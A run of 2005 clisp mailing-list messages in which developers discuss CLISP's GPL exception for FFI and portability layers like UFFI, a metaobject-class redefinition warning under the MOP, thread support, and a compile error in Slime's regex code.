With all in a single file, that's harder (or you write a preprocessor to remove #+clisp parts from a Lisp source file) and maintain both files.

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Sam Steingold wrote:
>The rule of thumb is: is your application useful without CLISP?
>(i.e., can it be used with other lisps?)
>if not, it's GPL.
>if yes, it's not.
>NOTE: the above is not authoritative, the COPYRIGHT file it.
>Bruno should clarify the issue both here and in the COPYRIGHT file.

I think we had that exact same discussion maybe a year ago. Bruno made some changes to COPYRIGHT, but they didn't help me. Note that he did not add FFI to the list of packages in COPYRIGHT, although IIRC I suggested that (note sure if it would be better that way).

OTOH, maybe we wish for too much: objectively, shouldn't we realize that the above argument is as moot as the attempt, >10 years ago, to provide a version of CLISP without readline? Yet CLISP is said to have become GPL precisely because of readline.

Same for UFFI or whatever: There's some software (UFFI) that wants to make use of a GPL SW (CLISP), even makeing use of clisp-specific stuff not in package CL, EXT or keyword. What do you believe can be the only answer, when you try to eliminate wishful thinking?

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Hoehle, Joerg-Cyril wrote:

>Sam Steingold wrote:
>  
>
>>The rule of thumb is: is your application useful without CLISP?
>>(i.e., can it be used with other lisps?)
>>if not, it's GPL.
>>if yes, it's not.
>>NOTE: the above is not authoritative, the COPYRIGHT file it.
>>Bruno should clarify the issue both here and in the COPYRIGHT file.
>>    
>>
>
>I think we had that exact same discussion maybe a year ago. Bruno made some changes to COPYRIGHT, but they didn't help me. Note that he did not add FFI to the list of packages in COPYRIGHT, although IIRC I suggested that (note sure if it would be better that way).
>
Let's not forget the new MOP support, while we are talking about 
changing the licensing, or we just go thru this exercise again.

>
>OTOH, maybe we wish for too much: objectively, shouldn't we realize that the above argument is as moot as the attempt, >10 years ago, to provide a version of CLISP without readline? Yet CLISP is said to have become GPL precisely because of readline.
>
>Same for UFFI or whatever: There's some software (UFFI) that wants to make use of a GPL SW (CLISP),
>
No, it is within and only within the #+CLisp environment that UFFI 
macros are generating code which does FFI. all CLs do FFI. This is no 
more making use of GPL SW than is invoking CAR. CLisp does not want to 
GPLize CLisp applications which use CAR, according to the license. When 
I imagine the intention behind that choice, I imagine "you do not have 
to GPL the applications you develop with CLisp". But developing apps 
means using FFI and sometimes the MOP. Those happen not to be 
standardized in the spec, so they vary between implementations. Does 
that also mean the intent to allow development of non-GPL applications 
with CLisp somehow disappears because FFI and MOP never made it into the 
spec?

>What do you believe can be the only answer, when you try to eliminate wishful thinking?
>  
>
Clear up the copyright and any FAQ references, one way or the other. 
IANAL, but with a self-contradictory license, and UFFI+CLisp satisfying 
most requirements...next question.

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Hoehle, Joerg-Cyril writes:
> Pascal Bourguignon wrote:
> >It seems to me that if you'd design an API KFFI and you'd program your
> >application against this KFFI API,  you could implement the KFFI API
> >on UFFI and on CLISP FFI.  It's possible that the KFFI to CLISP FFI
> >need to be GPL'ed, but if I've understood correctly, not your
> >application.  IANAL.
> 
> Me too, IANAL.
> 
> I've a feeling that slime is better positioned than UFFI
> w.r.t. copyright. UFFI macros are split on a #+xyz case across each
> and every file, while slime has a easily separatable
> swank-clisp.lisp file. The header of that files says GPL, while
> e.g. swank-allegro.lisp says "public domain".
> 
> Thus I could imagine source package distributing the whole of it,
> claiming <prefered copyright> on the largest part of the package,
> and GPL on some. IMHO that should work. Or they could remove the GPL
> parts from a particular distribution.
> 
> With all in a single file, that's harder (or you write a
> preprocessor to remove #+clisp parts from a Lisp source file) and
> maintain both files.

This is a good point.  I favored separate files for technical and
esthetic reasons, now I've got this legal reason more.

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> Same for UFFI or whatever: There's some software (UFFI) that wants
> to make use of a GPL SW (CLISP), even makeing use of clisp-specific
> stuff not in package CL, EXT or keyword. 

Strange formulation. Isn't clisp who wants to provide an UFFI API?
I'd think clisp would benefit more from UFFI than UFFI from clisp.


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Kenny Tilton wrote:
> >  From the CLisp copyright:
> >
> > "This copyright does *not* cover user programs that run in CLISP and
> >   third-party packages not part of CLISP, if they only reference external
> >   symbols in CLISP's public packages (namely the packages COMMON-LISP,
> >   COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP
> >   internals and would as well run in any other Common Lisp implementation."

This paragraph in CLISP's copyright has been changed on 2004-09-15, in
order to be compatible with portability layers such as clocc/port and UFFI.
It now reads like this:

"
  This copyright does *not* cover user programs that run in CLISP and
  third-party packages not part of CLISP, if
    a) They only reference external symbols in CLISP's public packages
       (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT),
       i.e. if they don't rely on CLISP internals and would as well run
       in any other Common Lisp implementation. Or
    b) They only reference external symbols in CLISP's public packages
       (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT)
       and some external, not CLISP specific, symbols in third-party
       packages that are released with source code under a GPL compatible
       license and that run in a great number of Common Lisp implementations,
       i.e. if they rely on CLISP internals only to the extent needed
       for gaining some functionality also available in a great number of
       Common Lisp implementations.
  Such user programs are not covered by the term "derived work" used in
  the GNU GPL. Neither is their compiled code, i.e. the result of compiling
  them by use of the function COMPILE-FILE. We refer to such user programs
  as "independent work".
"

> > But if I use the FFI, which is not listed as one of the
> > "public" packages, my code also will not run in any other CL.
> >
> > Is my app now a derived work?

If your app uses the CLISP FFI package and doesn't run in "a great number of
Common Lisp implementations", then the exception clause doesn't apply,
and your app - when distributed with the intent of being used in clisp -
falls under GPL. (The explanation is that under these circumstances,
your app qualifies more as an extension of clisp than as a portable
program.)

Sam Steingold wrote:
> it is my understanding that portability layers are explicitly exempt
> from the GPL contagion.
>
> The rule of thumb is: is your application useful without CLISP?
> (i.e., can it be used with other lisps?)
> if not, it's GPL.
> if yes, it's not.

Correct. But even a little more: Does your application provide more
functionality in CLISP than in other Lisp implementations, because it uses
the FFI package (or other CLISP internals)? If yes, then it's GPL.

Bruno



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On 6/8/05, Pascal J. Bourguignon <pjb@informatimago.com> wrote:
> Ashwin Rao writes:
> > I am lisp newbie and want to create a new process.
> > Following is the sample code I wrote which creates a new process that m=
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> > a variable.
> >
> > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file
> > (defvar *var*)
> >
> > (setf *var* 1)
> >
> > (defun my-func()
> >   (setf *var* (+ *var* 100))
> >   (format t "~A" *var*))
> >
> > (defun my-process()
> >   (let (p1 (make-process #'my-func))))
> > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file
> >
> > But the function my-func is not getting called.
> > What do I have to do to run the process?
> > I have compiled clisp  using --with-threads=3DPOSIX_THREADS
>=20
> Threads are not implemented yet in clisp.
>=20
> In the mean time, you can use unix processes with: (linux:fork).
>=20
Could you please help me in this regard as well
Do I have to recompile clisp with some config params or can I find it
in some package.
Also the file at
http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/doc/multithrea=
d.txt
mentions that multithreading is not supported.
Now if I want to develop a tiny chat server, I want one thread/process
to accept new connections and the others to handle the present
connections.
Can this be implemented on clisp if yes can someone give me some pointers t=
o=20
on how to go about this. (Is there an equivalent to the select sytem call).=
=20
Regards,
Ashwin


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> * Bruno Haible <oehab@pyvfc.bet> [2005-06-09 14:33:52 +0200]:
>
> Sam Steingold wrote:
>> it is my understanding that portability layers are explicitly exempt
>> from the GPL contagion.
>>
>> The rule of thumb is: is your application useful without CLISP?
>> (i.e., can it be used with other lisps?)
>> if not, it's GPL.
>> if yes, it's not.
>
> Correct.

So, a program that relies on clocc/port or uffi is completely exempt
from all licensing requirements coming from CLISP.

> But even a little more: Does your application provide more
> functionality in CLISP than in other Lisp implementations, because it
> uses the FFI package (or other CLISP internals)? If yes, then it's
> GPL.

how about clocc/port & uffi themselves?
do I need to re-license clocc/port from LGPL to GPL because I use CLISP
internals there?
can uffi stay llgpl? [BTW, it's "lesser", not "lessor" on
<http://uffi.b9.com/copyright.html>]

now, supposed someone decides that a high-level FFI is better and
decides to write a HL-FFI compatibility layer based on the CLISP FFI.
so, his files will look like this:

#+clisp
(do-external-symbols (s "FFI") (import s "HL-FFI") (export s "HL-FFI"))

#-clisp
(defmacro def-call-out ...)
#-clisp
(defmacro def-call-in ...)
...

does this layer falls under GPL?
(suppose that the first release is incomplete, so for each non-CLISP
implementation something is missing, so under CLISP it does provide more
functionality).

some clarifications are still in order.



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> * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-06-09 18:07:30 +0500]:
>
> Now if I want to develop a tiny chat server, I want one thread/process
> to accept new connections and the others to handle the present
> connections.

if you use socket-status, you may be able to get away with a single thread.

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Bruno Haible wrote:

>Kenny Tilton wrote:
>  
>
>>> From the CLisp copyright:
>>>
>>>"This copyright does *not* cover user programs that run in CLISP and
>>>  third-party packages not part of CLISP, if they only reference external
>>>  symbols in CLISP's public packages (namely the packages COMMON-LISP,
>>>  COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP
>>>  internals and would as well run in any other Common Lisp implementation."
>>>      
>>>
>
>This paragraph in CLISP's copyright has been changed on 2004-09-15, in
>order to be compatible with portability layers such as clocc/port and UFFI.
>It now reads like this:
>
>"
>  This copyright does *not* cover user programs that run in CLISP and
>  third-party packages not part of CLISP, if
>    a) They only reference external symbols in CLISP's public packages
>       (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT),
>       i.e. if they don't rely on CLISP internals and would as well run
>       in any other Common Lisp implementation. Or
>    b) They only reference external symbols in CLISP's public packages
>       (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT)
>       and some external, not CLISP specific, symbols in third-party
>       packages that are released with source code under a GPL compatible
>       license and that run in a great number of Common Lisp implementations,
>       i.e. if they rely on CLISP internals only to the extent needed
>       for gaining some functionality also available in a great number of
>       Common Lisp implementations.
>  Such user programs are not covered by the term "derived work" used in
>  the GNU GPL. Neither is their compiled code, i.e. the result of compiling
>  them by use of the function COMPILE-FILE. We refer to such user programs
>  as "independent work".
>"
>  
>
Ah, well the whole point of UFFI (and my fork, Hello-C) is to make 
possible portable code, so... well, I guess you know about UFFI. That 
does not support CLisp (I gather) because of this concern over GPL 
contagion. Assuming UFFI continues its "leats common denominator"-only 
policy (nothing gets in that does not run everywhere), are you prepared 
to make a flat out statement that they are safe (so we do not need to 
hire lawyers to meditate on the fine points)?

thx, kenny





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> * Kenny Tilton <xgvygba@alp.ee.pbz> [2005-06-09 13:23:21 -0400]:
>
> I guess you know about UFFI. That does not support CLisp (I gather)
> because of this concern over GPL contagion.

This is news to me.  Are you sure this is the case?!

I always thought that the problem was technical (UFFI is very low level,
CLISP FFI is rather high-level, and nobody has stood up and taken up the
task to add the missing low-level functionality) rather than legal.

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Sam Steingold wrote:

>>* Kenny Tilton <xgvygba@alp.ee.pbz> [2005-06-09 13:23:21 -0400]:
>>
>>I guess you know about UFFI. That does not support CLisp (I gather)
>>because of this concern over GPL contagion.
>>    
>>
>
>This is news to me.  Are you sure this is the case?!
>
I am here asking because of what I saw over on the UFFI list in the past 
few days. But perhaps I misconstrued their specific concern, and am 
misrepresenting the situation. I should say no more, and refer you 
instead to the UFFI archives and Mr. Rosenberg.

>
>I always thought that the problem was technical (UFFI is very low level,
>CLISP FFI is rather high-level, and nobody has stood up and taken up the
>task to add the missing low-level functionality) rather than legal.
>
>  
>
I do not know about low or high, but from what I can see of CLisp's new 
killer FFI, I wager adding CLisp support ot UFFI would be a breeze. In 
fact, I am on the verge of mentoring a Google Summer of Code project to 
do just that in part, which is also why I am here asking.

thx for all the quick feedback.

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Date: Thu Jun  9 11:02:21 2005
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Sam Steingold wrote:
> >> The rule of thumb is: is your application useful without CLISP?
> >> (i.e., can it be used with other lisps?)
> >> if not, it's GPL.
> >> if yes, it's not.
> >
> > Correct.
>
> So, a program that relies on clocc/port or uffi is completely exempt
> from all licensing requirements coming from CLISP.

Not completely. Only as far as regarding the indirect use of CLISP
internals through clocc/port or UFFI. If a program uses CLISP internals
in a way that is not covered by one of the two exception clauses, it
still falls under GPL when distributed as a "combined work" with clisp.

> > But even a little more: Does your application provide more
> > functionality in CLISP than in other Lisp implementations, because it
> > uses the FFI package (or other CLISP internals)? If yes, then it's
> > GPL.
>
> how about clocc/port & uffi themselves?

clocc/port & uffi can stay under any GPL compatible license, as
explained in http://article.gmane.org/gmane.lisp.clisp.devel/14325.

> do I need to re-license clocc/port from LGPL to GPL because I use CLISP
> internals there?

This is not necessary. I interpret the GPL as saying that, when you
distribute clocc/port as a "combined work" with CLISP, the clocc/port
part will be under GPL automatically. And, of course, if you distribute
it independently - for use by any Lisp implementation - it stays under
the license that you have chosen.

> now, supposed someone decides that a high-level FFI is better and
> decides to write a HL-FFI compatibility layer based on the CLISP FFI.
> so, his files will look like this:
>
> #+clisp
> (do-external-symbols (s "FFI") (import s "HL-FFI") (export s "HL-FFI"))
>
> #-clisp
> (defmacro def-call-out ...)
> #-clisp
> (defmacro def-call-in ...)
> ...
>
> does this layer falls under GPL?

According to clisp's COPYRIGHT file, it is exempt from being under GPL
if and only if it runs in "a great number of Common Lisp implementations".

> (suppose that the first release is incomplete, so for each non-CLISP
> implementation something is missing, so under CLISP it does provide more
> functionality).

If the package runs only in CLISP - for whatever reasons that may be -,
that's not a "great number of Common Lisp implementations", therefore
the package must fall under GPL when being distributed.

Bruno



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Kenny Tilton wrote:
> Assuming UFFI continues its "leats common denominator"-only
> policy (nothing gets in that does not run everywhere), are you prepared
> to make a flat out statement that they are safe (so we do not need to
> hire lawyers to meditate on the fine points)?

Yes, such a policy, that ensures that all parts of the package work equally
well in 5 different CL implementations, together with a license that is GPL-
compatible (I heard UFFI's license is that), is a safe way to ensure that
clisp's COPYRIGHT exception (b) will apply to programs that use the package.

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Kenny Tilton wrote:
> Let's not forget the new MOP support, while we are talking about
> changing the licensing, or we just go thru this exercise again.

Thanks for the hint. We've now added the CLOS and GRAY packages (containing
MOP and Gray streams, respectively) to those packages that you can use in
a clisp program without forcing the GPL on the program when you distribute it.

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-------- Original Message --------
Subject: 	Re: [clisp-list] Re: License Question in re FFI
Date: 	Fri, 10 Jun 2005 01:25:02 -0400
From: 	Kenny Tilton <ktilton@nyc.rr.com>
To: 	Bruno Haible <bruno@clisp.org>
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Bruno Haible wrote:

>Kenny Tilton wrote:
>  
>
>>Let's not forget the new MOP support, while we are talking about
>>changing the licensing, or we just go thru this exercise again.
>>    
>>
>
>Thanks for the hint. We've now added the CLOS and GRAY packages (containing
>MOP and Gray streams, respectively) to those packages that you can use in
>a clisp program without forcing the GPL on the program when you distribute it.
>
Awesome. Are you listing the FFI package as well, or does that have a 
different status? (Sorry if I have gotten confused and asked a dumb 
question, which I clearly suspect. <g>)

kt




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Bruno,
it appears that the "Redefining metaobject class has no effect" warning
that I complained about recently is not so innocuous as it appears to
be.  Consider this file:
si.lisp:
;;; ---------------------------------------------------------------------------
(defclass standard-event-class (standard-class)
  ((event-metaclass :initarg :event-metaclass :initform nil)))

(defmethod shared-initialize ((class standard-event-class)
                              slot-names &rest initargs &key)
  (declare (ignore slot-names initargs))
  (print "Running shared-initialize")
  (call-next-method))
(defclass foo ()
  ()
  (:metaclass standard-event-class))
;;; ---------------------------------------------------------------------------

$ clisp -q -norc -c si
;; Compiling file si.lisp ...
;; Wrote file si.fas
0 errors, 0 warnings
$ clisp -q -norc -i si
;; Loading file si.fas ...
"Running shared-initialize"
;; Loaded file si.fas
[1]>

so far so good, right?

now, suppose we compile and load the file in the same session:

[1]> (compile-file "si.lisp")
;; Compiling file si.lisp ...
;; Wrote file si.fas
0 errors, 0 warnings
#P"si.fas" ;
NIL ;
NIL
[2]> (load "si")
;; Loading file si.fas ...
WARNING: Redefining metaobject class #<STANDARD-CLASS
STANDARD-EVENT-CLASS> has no
         effect.
;; Loaded file si.fas
T
[3]> (quit)

note the warning instead of the "Running shared-initialize" message.

Thanks to Dan who discovered this.

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Date: Fri Jun 10 09:43:38 2005
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Sam wrote:
> it appears that the "Redefining metaobject class has no effect" warning
> that I complained about recently is not so innocuous as it appears to
> be.  Consider this file:
> si.lisp:
> ;;;
> ---------------------------------------------------------------------------
> (defclass standard-event-class (standard-class)
>   ((event-metaclass :initarg :event-metaclass :initform nil)))
>
> (defmethod shared-initialize ((class standard-event-class)
>                               slot-names &rest initargs &key)
>   (declare (ignore slot-names initargs))
>   (print "Running shared-initialize")
>   (call-next-method))
> (defclass foo ()
>   ()
>   (:metaclass standard-event-class))
> ;;;
> ---------------------------------------------------------------------------

You are mixing two things here:

1) The redefinition of STANDARD-EVENT-CLASS. This has a warning, so that
the user is aware that _IF_ he changed the definition form of this class
between the first and the second LOAD, he wouldn't see an effect.

2) The redefinition of FOO. This is unrelated to what happens in 1).
Here clisp notices that the form already reflects the current state of
the class FOO, and that there's nothing to change about it. So, as an
optimization, it doesn't call reinitialize-instance.

Whether this optimization 2) is valid, or whether it should not be performed
when a SHARED-INITIALIZE method has been installed, I don't know. Need to
look in CLHS and MOP.

Bruno



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Date: Fri Jun 10 09:59:25 2005
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> * Bruno Haible <oehab@pyvfc.bet> [2005-06-10 18:40:05 +0200]:
>
> Sam wrote:
>> it appears that the "Redefining metaobject class has no effect" warning
>> that I complained about recently is not so innocuous as it appears to
>> be.  Consider this file:
>> si.lisp:
>> ;;;
>> ---------------------------------------------------------------------------
>> (defclass standard-event-class (standard-class)
>>   ((event-metaclass :initarg :event-metaclass :initform nil)))
>>
>> (defmethod shared-initialize ((class standard-event-class)
>>                               slot-names &rest initargs &key)
>>   (declare (ignore slot-names initargs))
>>   (print "Running shared-initialize")
>>   (call-next-method))
>> (defclass foo ()
>>   ()
>>   (:metaclass standard-event-class))
>> ;;;
>> ---------------------------------------------------------------------------
>
> You are mixing two things here:
>
> 1) The redefinition of STANDARD-EVENT-CLASS. This has a warning, so
> that the user is aware that _IF_ he changed the definition form of
> this class between the first and the second LOAD,

there is only _one_ load (and one compile-file)

> he wouldn't see an effect.

effect where?
this warning is unusual and distracting.
usually a warning means that the user is doing something wrong, so when
one sees a warning, the first question is: "how do I avoid it?"

here the warning is unavoidable: nothing has changed, the user is doing
everything correctly, it's just that CLISP is making unnecessary noise.

> 2) The redefinition of FOO. This is unrelated to what happens in 1).
> Here clisp notices that the form already reflects the current state of
> the class FOO, and that there's nothing to change about it. So, as an
> optimization, it doesn't call reinitialize-instance.

but initialize-instance was not called yet at all,
so what are you talking about?

> Whether this optimization 2) is valid, or whether it should not be
> performed when a SHARED-INITIALIZE method has been installed, I don't
> know. Need to look in CLHS and MOP.

this is not the issue.
the issue is why was initialize-instance never called
(not reinitialize-instance)

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Date: Fri Jun 10 12:34:26 2005
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Sam Steingold wrote:
> it appears that the "Redefining metaobject class has no effect" warning
> that I complained about recently is not so innocuous as it appears to
> be.  Consider this file:
> si.lisp:
> ;;;
> ---------------------------------------------------------------------------
> (defclass standard-event-class (standard-class)
>   ((event-metaclass :initarg :event-metaclass :initform nil)))
>
> (defmethod shared-initialize ((class standard-event-class)
>                               slot-names &rest initargs &key)
>   (declare (ignore slot-names initargs))
>   (print "Running shared-initialize")
>   (call-next-method))
> (defclass foo ()
>   ()
>   (:metaclass standard-event-class))
> ;;;
> ---------------------------------------------------------------------------

This file is unportable. The MOP, section "Initialization of Class Metaobjects",
says "Portable programs must not define methods on SHARED-INITIALIZE". So,
you cannot expect this to work in any implementation.

The way to achieve what you want is therefore to define around/before/after
methods on INITIALIZE-INSTANCE and REINITIALIZE-INSTANCE.

Bruno



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Date: Fri Jun 10 12:38:12 2005
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Sam Steingold wrote:
> > between the first and the second LOAD,
>
> there is only _one_ load (and one compile-file)

You know that DEFCLASS and DEFMACRO forms, in clisp, are evaluated by
compile-file. Therefore, in clisp, compiling a file containing only
DEFCLASS or DEFMACRO forms has the same effects on the current session
as LOADing it.

> this warning is unusual and distracting.
> usually a warning means that the user is doing something wrong, so when
> one sees a warning, the first question is: "how do I avoid it?"

What the user is doing wrong, is to attempt to redefine a metaobject class.
A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP p. 3),
and the MOP says "metaobject classes may not be redefined" (p. 57).

How to avoid it? Put the definitions of metaobject classes into a separate
file, and only ever load it once per session. COMPILE-FILEing it may count
as a LOAD, in this context, in some implementations (including clisp).

> > 2) The redefinition of FOO. This is unrelated to what happens in 1).
> > Here clisp notices that the form already reflects the current state of
> > the class FOO, and that there's nothing to change about it. So, as an
> > optimization, it doesn't call reinitialize-instance.
>
> but initialize-instance was not called yet at all,

How do you know? The code that you showed put a method on SHARED-INITIALIZE.
In order to infer that INITIALIZE-INSTANCE wasn't called, you would have to
know about the internals of INITIALIZE-INSTANCE on a CLASS object. You don't
know anything about this. All you know from CLHS is that INITIALIZE-INSTANCE
calls SHARED-INITIALIZE, on STANDARD-OBJECT objects.

Bruno



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Date: Fri Jun 10 12:58:42 2005
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>>(defmethod shared-initialize ((class standard-event-class)
>>                              slot-names &rest initargs &key)
>>  (declare (ignore slot-names initargs))
>>  (print "Running shared-initialize")
>>  (call-next-method))
>>

>>This file is unportable. The MOP, section "Initialization of Class Metaobjects",
>>says "Portable programs must not define methods on SHARED-INITIALIZE". So,
>>you cannot expect this to work in any implementation.
>>
>>The way to achieve what you want is therefore to define around/before/after
>>methods on INITIALIZE-INSTANCE and REINITIALIZE-INSTANCE.
>>
>>Bruno
>>
>>    
>>
The defmethod should have been an :around method (an omission in 
creating the
simple test example).  Correcting the method to be an :around method 
exhibits the
same behavior in CLISP.

-- Dan





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Dan Corkill wrote:
> >How to avoid it? Put the definitions of metaobject classes into a separate
> >file, and only ever load it once per session. COMPILE-FILEing it may count
> >as a LOAD, in this context, in some implementations (including clisp).
>
> Several observations:
>
>    1. At best, it is a semantically equivalent "redefinition"

Yes, but the MOP authors did not specify the trivial/no-op cases of
redefinition should be treated differently than the ones which really
make a change to the class.

Anyway, clisp doesn't signal an error here, so in the case of a
trivial/no-op redefinition you are lucky.

>    2. Such a restriction prevents one from ever reloading or recompiling
>       a file in the same lisp image (must move metaobject classes into a
>       "special" once-only status file).

Yes. These are the constraints on the user of the MOP. The benefit of this
constraint is that it allows a Lisp implementation with MOP to have the
same runtime speed than a Lisp implementation with a non-customizable CLOS.
Without this constraint, the CLOS operations in clisp would have become ca.
twice as slow.

>    3. Seems to muddy the compilation versus load/execution
>       environments.  I don't think I understand how eval-when semantics
>       relate to metaobject class definitions given this model.  One has
>       to create the load-time environment at the time a metaobject class
>       is compiled (not loaded).

Yes. The runtime environment and the compile-time environment need to have
a certain consistency regarding classes. See ANSI CL:

HyperSpec/Body/mac_defclass.html
   "If a defclass form appears as a top level form, the compiler must make
    the class name be recognized as a valid type name in subsequent
    declarations (as for deftype) and be recognized as a valid class name
    for defmethod parameter specializers and for use as the :metaclass
    option of a subsequent defclass. The compiler must make the class
    definition available to be returned by find-class when its environment
    argument is a value received as the environment parameter of a macro."

HyperSpec/Body/sec_3-2-2-3.html
   "Classes defined by defclass in the compilation environment must be
    defined at run time to have the same superclasses and same metaclass.
    This implies that subtype/supertype relationships of type specifiers
    must not change between compile time and run time."

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2005-06-10 21:34:55 +0200]:
>
>> this warning is unusual and distracting.
>> usually a warning means that the user is doing something wrong, so when
>> one sees a warning, the first question is: "how do I avoid it?"
>
> What the user is doing wrong, is to attempt to redefine a metaobject class.
> A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP p. 3),
> and the MOP says "metaobject classes may not be redefined" (p. 57).

the redefinition is semantically equivalent to the original definition
and should be permitted.
this is the issue of being nice to the user.

> How to avoid it? Put the definitions of metaobject classes into a
> separate file, and only ever load it once per session.

this is an excessive requirement.
the users will not like it.
"once per session" contradicts the lisp idea that you restart your
session only if something horrible happens.


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Hi Bruno,

Bruno Haible <bruno@clisp.org> writes:
> Kenny Tilton wrote:
>> Assuming UFFI continues its "leats common denominator"-only
>> policy (nothing gets in that does not run everywhere), are you prepared
>> to make a flat out statement that they are safe (so we do not need to
>> hire lawyers to meditate on the fine points)?
>
> Yes, such a policy, that ensures that all parts of the package work equally
> well in 5 different CL implementations, together with a license that is GPL-
> compatible (I heard UFFI's license is that), is a safe way to ensure that
> clisp's COPYRIGHT exception (b) will apply to programs that use the package.
>

ok so would you consider changing the last paragraph of the license:

"Foreign non-Lisp code that is linked with CLISP or loaded into CLISP
through dynamic linking is not exempted from this copyright. I.e. such
code, when distributed for use with CLISP, must be distributed under
the GPL."

I had taken that last sentence to mean that I can't call any dll's
that aren't GPL'd.

My understanding now is that if, for instance I wanted to distributed
a dumped clisp image of some lisp code that say called MessageBox
under Windows via ffi; I can't because it 'doesn't run under many
lisps'.

But if I write a interface file that includes the appropriate
definitions for a number of other lisps to call MessageBox and
distribute that interface file under say a FreeBSD license I can then
distributed the dumped image?

As another example say I wanted to write a windows dialog generator in
clisp.  If I wrote a package that allowed user lisp to call a dll
which generated some windows and called back into the lisp image to
say fill them with text, wouldn't I _have_ to distribute that package
as GPL?  And anyone who wanted to use that dialog package would have
to GPL their code too?

btw I used to think, and I'm sure I heard others say, that
communication via a socket is one way to separate modules to stop GPL
applying across them, but from
http://www.fsf.org/licensing/licenses/gpl-faq.html

under 'What is the difference between "mere aggregation" and
"combining two modules into one program"?'

"By contrast, pipes, sockets and command-line arguments are
communication mechanisms normally used between two separate
programs. So when they are used for communication, the modules
normally are separate programs. But if the semantics of the
communication are intimate enough, exchanging complex internal data
structures, that too could be a basis to consider the two parts as
combined into a larger program."

That sounds horribly vague to me, define 'complex internal data'.  But
I will confess that I have never read the entire GPL without falling
asleep.
-- 
Richard 



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>>>How to avoid it? Put the definitions of metaobject classes into a separate
>>>file, and only ever load it once per session. COMPILE-FILEing it may count
>>>as a LOAD, in this context, in some implementations (including clisp).
>>>
Two files:  si1.lisp with the metaobject class definition and :around 
method and
si2.lisp with only the definition of class foo.

si1.lisp:

(in-package :common-lisp-user)

(defclass standard-event-class (standard-class)
  ((event-metaclass :initarg :event-metaclass :initform nil)))

(defmethod shared-initialize :around ((class standard-event-class)
                              slot-names &rest initargs &key)
  (declare (ignore slot-names initargs))
  (print "Running shared-initialize")
  (call-next-method))

si2.lisp:

(in-package :common-lisp-user)

(defclass foo ()
  ()
  (:metaclass standard-event-class))

Now, even if the makesystem knows not to load si1 if it has been compiled
in the image:

 > clisp -norc
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

[1]> (compile-file "si1")
;; Compiling file /home/cork/si1.lisp ...
;; Wrote file /home/cork/si1.fas
0 errors, 0 warnings
#P"/home/cork/si1.fas" ;
NIL ;
NIL
[2]> (compile-file "si2")
;; Compiling file /home/cork/si2.lisp ...
;; Wrote file /home/cork/si2.fas
0 errors, 0 warnings
#P"/home/cork/si2.fas" ;
NIL ;
NIL
[3]> (load "si2")
;; Loading file /home/cork/si2.fas ...
;; Loaded file /home/cork/si2.fas
T
[4]> (quit)
Bye.

Was the :around method ever called?  Is it impossible to build my si
from source in one image?

-- Dan



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Yesterday I updated my local source tree to CVS HEAD and recompiled
successfully CLISP. Then I tried to recompile Slime and got the
following compilation error:

;; Compiling file /usr/local/src/slime/nregex.lisp ...
*** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type SYSTEM::ANODE
The following restarts are available:
SKIP           :R1      skip this form and proceed
STOP           :R2      stop loading file
ABORT          :R3      ABORT
Break 1 NREGEX[2]> 

The problem is in the second clause of the following COND (lines 470-492):

	       (cond ((listp (nth (1+ elt) expression))
		      ;;
		      ;; This is a single character wild card so
		      ;; do the simple form.
		      ;;
		      (setf result 
			    `((let ((oindex index))
				(block compare
				       (do ()
					   (nil)
					 ,(nth (1+ elt) expression)))
				(do ((start index (1- start)))
				    ((< start oindex) nil)
				  (let ((index start))
				    (block compare
					   ,@result))))))
*******		      (incf elt))
 here!    --->	     (t
*******		      ;;
		      ;; This is a subgroup repeated so I must build
		      ;; the loop using several values.
        	      ;;
             	      ))
        

and it disappears by simply adding a seccond "t" to the clause.

The lisp file can however be succesfully LOADed	 without any modification.


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> * Aurelio Bignoli <pyvfc@ovtabyv.vg> [2005-06-12 17:10:50 +0200]:
>
> The problem is in the second clause of the following COND (lines 470-492):
>
> 	       (cond ((listp (nth (1+ elt) expression))
> 		      ;;
> 		      ;; This is a single character wild card so
> 		      ;; do the simple form.
> 		      ;;
> 		      (setf result 
> 			    `((let ((oindex index))
> 				(block compare
> 				       (do ()
> 					   (nil)
> 					 ,(nth (1+ elt) expression)))
> 				(do ((start index (1- start)))
> 				    ((< start oindex) nil)
> 				  (let ((index start))
> 				    (block compare
> 					   ,@result))))))
> *******		      (incf elt))
>  here!    --->	     (t
> *******		      ;;
> 		      ;; This is a subgroup repeated so I must build
> 		      ;; the loop using several values.
>         	      ;;
>              	      ))

(compile nil (lambda (z) (cond ((numberp z) (sin z)) (t ))))

#<COMPILED-FUNCTION NIL> ;
NIL ;
NIL

could you please extract an isolated test case?

thanks!

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Sam wrote:
> > What the user is doing wrong, is to attempt to redefine a metaobject
> > class. A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP
> > p. 3), and the MOP says "metaobject classes may not be redefined" (p.
> > 57).
>
> the redefinition is semantically equivalent to the original definition
> and should be permitted.

Neither ANSI CL nor the MOP have the notion of "semantically equivalent"
class definitions. If they did, the MOP would need to have one more generic
function, for detecting when two direct-slot objects are equivalent.

> this is the issue of being nice to the user.

This is precisely why clisp gives only a warning, not an error :-)

